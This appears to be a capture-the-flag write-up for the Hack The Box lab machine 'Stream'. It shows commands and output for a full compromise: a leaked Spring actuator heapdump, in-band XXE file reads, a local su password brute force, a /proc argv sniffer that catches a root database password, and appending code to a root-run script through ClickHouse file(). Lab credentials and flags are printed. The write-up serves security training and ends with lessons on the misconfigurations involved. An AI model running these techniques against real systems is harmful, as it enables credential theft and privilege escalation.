Post

HTB Stream Writeup

HTB Stream Writeup

Stream is an airport data pipeline, and nothing in the chain is a single dramatic exploit. It is a stack of small trusts that compound: a status endpoint someone left unauthenticated, an XML parser that resolves file:// entities into a column you can read back, and a root-owned timer that hands a database password to clickhouse-client for exactly the few milliseconds it takes to grab it out of /proc.

Target: Stream.htb (10.129.85.192)

Hosts: htb-airport.htb / api.htb-airport.htb / db.htb-airport.htb


Overview

The attack chain in one table:

#WhatHow
122 SSH (fail2ban), 80 nginx vhosts, 8081 uvicorn AIDX ingestnmap; ClickHouse native ports closed from VPN
2Spring /actuator/heapdump leaks Hikari setUsername / setPasswordunauthenticated GET
3Password unlocks ClickHouse svc_events on the db vhostHTTP Basic
4Ingest accepts DOCTYPE; downstream lxml resolves file:// into <Airline>in-band XXE
5Read server.properties → Kafka SASL password = SSH svc-infraClickHouse SELECT
6su martin_cole from inside the SSH sessionrockyou head, local brute
7Root timer drains the DLQ and runs a formatter as rootaidx-dlq-drainer.timer
8Busy-loop /proc/<pid>/cmdline sniffer catches the DB admin password/proc hidepid=off
9GRANT FILE append on the formatter → next drain copies /root/root.txtClickHouse file()

1. Recon

Same starting move as always — map what is actually reachable, then figure out which of those ports matter:

1
2
echo '10.129.85.192 stream.htb htb-airport.htb api.htb-airport.htb db.htb-airport.htb' | sudo tee -a /etc/hosts
nmap -sC -sV -p 22,80,8081,8123,9000,9092 10.129.85.192
1
2
3
4
5
6
7
8
22/tcp   open   ssh          OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http         nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://api.htb-airport.htb/
8081/tcp open   http         Uvicorn
|_http-title: Site doesn't have a title (application/json).
8123/tcp closed polipo
9000/tcp closed cslistener
9092/tcp closed XmlIpcRegSvc

Only 22, 80 and 8081 are reachable from the VPN. The ClickHouse native ports (8123, 9000) and the Kafka broker (9092) are bound to localhost — nginx publishes ClickHouse HTTP on the db vhost instead, so the whole data plane is reached through vhosts on port 80.

A quick vhost pass sets up the whole rest of the box:

1
2
3
4
5
6
curl -si http://10.129.85.192/                          # 301 → http://api.htb-airport.htb/
curl -s  http://api.htb-airport.htb/                    # gateway JSON, node tg-edge-01
curl -s  http://api.htb-airport.htb/actuator            # _links includes heapdump
curl -s  http://db.htb-airport.htb/                     # ClickHouse ping "Ok."
curl -s  http://10.129.85.192:8081/                     # how to POST AIDX
curl -s  http://10.129.85.192:8081/health               # raw_topic: aidx.flightleg.raw.v1

The api vhost is a Spring gateway — it answers with a small JSON _links document that advertises an actuator endpoint. The 8081 service is a FastAPI / uvicorn AIDX ingest. /health names the downstream Kafka topic, aidx.flightleg.raw.v1, which is the first hint at the architecture: something else consumes that topic and does the actual parsing.

That “something else” matters, because the ingest itself is deliberately dumb:

The ingest does not parse XML. It string-matches four tags — IATA_AIDX_FlightLegNotifRQ, Originator, FlightLeg, LegIdentifier — and then publishes the raw body to Kafka.

Empty body → 400; missing tags → 422; anything else → 202. No XML validation, no schema, no entity expansion defence. The ingest is a dumb pipe; the real parser sits behind Kafka.


2. Heapdump → ClickHouse svc_events

The /actuator endpoint on the gateway exposes only self and a heapdump. Health/status return 200; env, mappings and beans are all off. A ~57 MB heapdump is still a heapdump:

1
2
3
curl -sI http://api.htb-airport.htb/actuator/heapdump    # Content-Length ~57M
curl -s -o heap.bin http://api.htb-airport.htb/actuator/heapdump
python3 scripts/heap_extract.py heap.bin

Java heaps keep plenty of secrets as plain Strings sitting right next to the setters that consumed them. The Hikari connection-pool neighbourhood is the tell:

1
2
3
setUsername  →  svc_events
setPassword  →  Yl4aCgh4y2PnU
setPoolName  →  terminal-edge-pool

That password is the ClickHouse HTTP Basic password for svc_events on http://db.htb-airport.htb/:

1
2
3
4
5
export CH_PASS='Yl4aCgh4y2PnU'
python3 scripts/ch_http.py -u svc_events -p "$CH_PASS" 'SHOW DATABASES'
python3 scripts/ch_http.py -u svc_events -p "$CH_PASS" 'SHOW GRANTS'
python3 scripts/ch_http.py -u svc_events -p "$CH_PASS" \
  'SHOW CREATE TABLE partner_feed.flightleg_json'

SHOW GRANTS is narrow — SELECT/INSERT on partner_feed.* only. The default user is REQUIRED_PASSWORD (an empty password returns 401). The interesting part is the schema: the airline column is the parsed <Airline> text, which means anything the downstream parser can be made to expand lands in a column we can read back. That is the in-band XXE channel.

One dead end worth recording: pulling compose.yaml (or any YAML) through the same XXE is unreliable. Either the file is missing, unreadable, or the expanded content contains a raw & or < and breaks the parser before it ever reaches the column. Stay on the heapdump plus in-band file://.


3. In-band XXE, not OOB

The parser behind Kafka is lxml with resolve_entities=True. It expands file:// entities into the document tree, not out to the network. The worker process does not make outbound connections to tun0 — no egress, or no_network set — so a traditional out-of-band XXE (external DTD, a webhook.site hit, nc -lvnp 80) stays silent forever.

The move is to put the entity in <Airline>, pick a unique <FlightNumber> to tag the row, wait a few seconds for the parser to drain the topic, and SELECT it back:

1
2
3
4
5
6
python3 scripts/xxe_read.py --target 10.129.85.192 --file /etc/passwd --flight P1
# or drive the two halves manually
python3 scripts/aidx_ingest.py --target 10.129.85.192 --xxe-file /etc/hostname --flight P1
sleep 5
python3 scripts/ch_http.py -u svc_events -p "$CH_PASS" \
  "SELECT flight_number, airline FROM partner_feed.flightleg_json WHERE flight_number='P1'"

The read-back is the whole trick: ingest returns 202 regardless, and the parsed value surfaces later as a normal row in partner_feed.flightleg_json. Files whose content contains a raw & or < after expansion never land at all — that is a parse error, which routes the message to the DLQ. Kafka’s server.properties (comments plus a single user_svc_infra="..." line) is clean enough to survive the round trip.

/etc/passwd shows the login shells, and two of them are interesting: svc-infra and martin_cole. user.txt lives under martin_cole.

The file that matters is the Kafka broker config:

1
/opt/kafka_2.13-4.3.1/config/server.properties

Its JAAS stanza hands over the SASL PLAIN credential:

1
2
3
sasl.enabled.mechanisms=PLAIN
listener.name.sasl_plaintext.plain.sasl.jaas.config=...
  user_svc_infra="Ny2hdpme$bwT3";

That password is the same as the OS account svc-infra. Note the $ in the secret — it is a shell variable unless quoted, so always reach for single quotes when using it.


4. User — SSH svc-infra, then su martin_cole

1
ssh -o StrictHostKeyChecking=no svc-infra@10.129.85.192

The trap here is that fail2ban is watching :22. A four-worker hydra from Kali filters the port for around ten minutes. Spray the VPN path once (or not at all — we already have svc-infra), then hop from inside the box instead, where su is not behind fail2ban:

1
2
getent passwd | awk -F: '$7 ~ /bash/'
# root, svc-infra, martin_cole

su has a ~2 s delay per miss, so this is slow — but only the top of rockyou is needed. The box does not ship local wordlists, so copy the helper and a short slice over:

1
2
3
4
scp scripts/su_brute.py svc-infra@10.129.85.192:/dev/shm/
head -n 80 /usr/share/wordlists/rockyou.txt > /tmp/ry80.txt
scp /tmp/ry80.txt svc-infra@10.129.85.192:/dev/shm/
ssh svc-infra@10.129.85.192 'python3 /dev/shm/su_brute.py martin_cole /dev/shm/ry80.txt'
1
[+] HIT martin_cole : tinkerbell

su_brute.py drives a pty.fork(), waits for the assword prompt, feeds the candidate, and looks for a success marker — robust against su’s own TTY handling in a way a plain loop of echo | su is not. That password also works over SSH, so drop straight into the user account and read the flag:

1
ssh martin_cole@10.129.85.192
1
2
martin_cole@stream:~$ cat user.txt
d8bf6d9723c80501568d4463528c23ae

5. Root — timer, argv, FILE, formatter

The timer

The privilege boundary is a systemd timer, visible as svc-infra:

1
2
3
systemctl list-timers aidx-dlq-drainer.timer
# OnUnitActiveSec=2min, User=root
# ExecStart=python3 /opt/ops/dlq_drainer.py

The drainer consumes aidx.flightleg.dlq.v1 — the topic every malformed AIDX message lands in — and for each bad message it runs:

1
python3 /var/lib/clickhouse/user_files/aidx_quarantine.py

as root, feeding the bad XML on stdin. Then it talks to ClickHouse as the admin user:

1
clickhouse-client --user default --password "$(cat /etc/partner-sync/ch.pw)"

ch.pw is 0600 root, so it is unreadable. But /proc has hidepid=off, which means other users’ command lines are readable — including root’s.

Sniffing --password

clickhouse-client copies the password into argv and then blanks it a moment after startup. A sleep 0.05 polling loop loses that race every time; the window is smaller than a scheduler tick. The answer is a CPU-bound busy loop with no sleep at all:

1
2
# ON THE BOX — start it and leave it running
python3 proc_sniff.py --needle clickhouse-client --out /tmp/chhit.bin

Then wake the drain from Kali by shipping a malformed AIDX body (the ingest accepts it, lxml rejects it, and it lands in the DLQ):

1
2
python3 scripts/aidx_ingest.py --target 10.129.85.192 --malformed
# payload is scripts/payloads/dlq-malformed.xml — the four required tags + a trailing <<<

Within two minutes the timer fires, clickhouse-client starts, and the sniffer writes the credential:

1
T=...  PID=...  clickhouse-client | --user | default | --password | N3v3rs33nD4T4

Later samples are all spaces (the blanked argv); keep the first hit.

GRANT FILE → RCE

The default user holds GRANT FILE, and ClickHouse’s file() function reads and writes under /var/lib/clickhouse/user_files/:

1
2
3
export CH_DEFAULT_PASS='N3v3rs33nD4T4'
python3 scripts/ch_http.py -u default -p "$CH_DEFAULT_PASS" 'SHOW GRANTS'
python3 scripts/ch_file_append.py -u default -p "$CH_DEFAULT_PASS" --verify

The crucial detail is that INSERT INTO FUNCTION file('aidx_quarantine.py','RawBLOB') appends. The original formatter (~719 bytes) stays intact and keeps working; our extra Python runs immediately after it on the next drain. No restart, no replacing the file, no version mismatch to hide.

The default payload copies /root/root.txt to /tmp/rflag (mode 0644) and writes /tmp/pwned. Because we append rather than overwrite, we only need write access once and then let the timer do the rest:

1
2
3
python3 scripts/aidx_ingest.py --target 10.129.85.192 --malformed
# wait ≤ 2 min for the root drain
ssh martin_cole@10.129.85.192 'cat /tmp/rflag /tmp/pwned'
1
2
643759366dc79a828389ff3bfb378693
uid=0

Root owned.


A few things worth noting

Why OOB XXE is the wrong tool here. The instinct with an XML injection is to stand up a listener and exfiltrate out of band. On Stream the parsing worker has no route back to tun0, so OOB is a dead end regardless of payload. When tcpdump on the attack interface stays empty, the signal is not “wrong payload” — it is “switch to an in-band channel.” Reading the expansion back out of ClickHouse is slower per file, but it works where OOB cannot: the same parser that expands the entity stores the result where we have SELECT.

Why the heapdump is the real bug, not the XXE. Actuator heapdumps are not meant to be reachable unauthenticated, and once one leaks, every in-memory secret goes with it. The Hikari setUsername/setPassword pair sitting adjacent in the heap is the entire entry ticket — no exploitation required. The XXE is what turns a read-only database account into a file-read primitive, but without the leaked password there is no XXE at all because we could not read the result back.

Why clickhouse-client wiping argv is the whole game. The obvious mitigation against a /proc sniff is that the password is only in argv for an instant. The counter is that “an instant” is still many CPU cycles, and a busy loop wins the race where a sleep-based loop loses it. hidepid=off is the actual misconfiguration — with hidepid=2 no other UID could read root’s cmdline and the credential would never be exposed to a non-root user.

Why append beats overwrite. The drainer trusts a Python file in user_files/ that the default ClickHouse user can write to. GRANT FILE is the root cause: a database user should never need filesystem grants to a directory that a root service executes from. Appending is only possible because the file is executed by absolute path with no integrity check — no hash, no signature, nothing. Replacing the file wholesale would work too, but appending keeps the legitimate formatter alive, which is exactly the kind of quiet persistence that makes this class of bug dangerous in production.

Why fail2ban forces the internal hop. hydra against :22 is not just noisy, it is self-defeating: fail2ban filters the port for minutes, so the intended path is the one taken here — get one interactive shell (from a leaked credential), then brute su locally where there is no rate limiter in front of you. The su delay slows it down, but it never locks the account out.


Credentials

SourceCredential
Heapdump Hikari setUsername / setPasswordClickHouse svc_events / Yl4aCgh4y2PnU
Kafka SASL in server.properties (via XXE), reused for SSHsvc-infra / Ny2hdpme$bwT3
Local su brute (rockyou head)martin_cole / tinkerbell
/proc argv sniff of the root drainerClickHouse default / N3v3rs33nD4T4

This writeup was written from an active lab session on 2026-10-13. Flags are from my own run of the box.

This post is licensed under CC BY 4.0 by the author.